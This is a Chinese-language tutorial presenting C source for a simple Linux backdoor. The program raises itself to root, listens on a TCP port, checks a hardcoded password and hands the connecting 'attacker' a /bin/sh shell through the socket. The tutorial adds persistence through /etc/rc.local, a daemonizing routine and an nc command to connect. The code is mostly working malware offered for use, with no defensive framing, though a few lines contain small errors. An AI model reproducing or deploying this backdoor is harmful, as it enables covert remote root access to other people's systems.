一个简单的Linux后门程序的实现

int main(int argc, char **argv)
{
    int i, listenfd, connfd;        /*listenfd为主进程监听的套接字，connfd为TCP连接后的套接字*/
    pid_t pid;
    char buf[MAXLINE];
    socklen_t clilen;
    struct sockaddr_in s_addr;
    struct sockaddr_in c_addr;
 
    setuid(0);                     /*为了保险，我们将通过setuid函数使得程序以拥有者身份的权限运行*/
    setgid(0);
    seteuid(0);
    setegid(0);

//    daemon(0,0);                    /*通过daemon函数可以把本程序从终端设备下脱离出来变成守护进程，如果系统启动时加载本程序就无需这个函数*/

    listenfd = socket(AF_INET,SOCK_STREAM,0);                 /*创建套接字*/
    if (listenfd == -1){
        printf("socket failed!");
        exit(1);
    }
    bzero(&s_addr,sizeof(s_addr));
    s_addr.sin_family=AF_INET;
    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    s_addr.sin_port=htons(PORT);
    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
        printf("bind failed!\n");
        exit(1);
    }
    if (listen(listenfd, 20)==-1){                            /*监听套接字*/
        printf("listen failed!");
        exit(1);
    }
    clilen = sizeof(c_addr);

    while(1){
        connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻击者发起链接*/
        pid = fork();                                      /*创建子进程*/
        if(!pid)
        {
            if((pid = fork()) > 0)                         /*创建孙进程*/
            {
                exit(0);                          /*子进程终结*/
            }else if(!pid){                       /*孙进程处理链接请求*/
                close(listenfd);                  /*关闭除要处理的套接字外的所有描述符*/
                write(connfd, ENTERPASS, strlen(ENTERPASS));
                memset(buf,‘\0‘, MAXLINE);
                read(connfd, buf, MAXLINE);
                if (strncmp(buf,PASSWORD,5) !=0){
                    close(connfd);
                    exit(0);
                }else{
                    write(connfd, WELCOME, strlen(WELCOME));
                    dup2(connfd,0);               /*将标准输入、输出、出错重定向到我们的套接字上*/
                    dup2(connfd,1);               /*实质是套接字的复制*/
                    dup2(connfd,2);
                    execl("/bin/sh", "mysh", (char *) 0);      /*打开一个shell代替本进程*/
                }
            }
        }
        close(connfd);
        if (waitpid(pid, NULL, 0) != pid)                     /*父进程等待回收子进程*/
            printf("waitpid error");
    }
}

$vi /etc/rc.local

/usr/bin/filename

int daemon( int nochdir,  int noclose )
{
   pid_t pid;
   if ( !nochdir && chdir("/") != 0 ) //如果nochdir=0,那么改变到"/"根目录
       return -1;
   
   if ( !noclose ) //如果没有noclose标志
   {
        int fd = open("/dev/null", O_RDWR); 
        if ( fd  <  0 )
            return -1;

       /* 重定向标准输入、输出、错误 到/dev/null，
          键盘的输入将对进程无任何影响，进程的输出也不会输出到终端
       */
　　　　dup(fd, 0);
　　　　dup(fd, 1);
　　　　dup(fd, 2);     
　　　　close(fd);
}

   pid = fork();  //创建子进程.
   if (pid  <  0)  //失败
      return -1;
   if (pid > 0)
       _exit(0); //返回执行的是父进程,那么父进程退出,让子进程变成真正的孤儿进程.

//创建的 daemon子进程执行到这里了
   if ( setsid()  < 0 )   //创建新的会话，并使得子进程成为新会话的领头进程
      return -1;
   return 0;  //成功创建daemon子进程
}

$nc -vv localhost 5669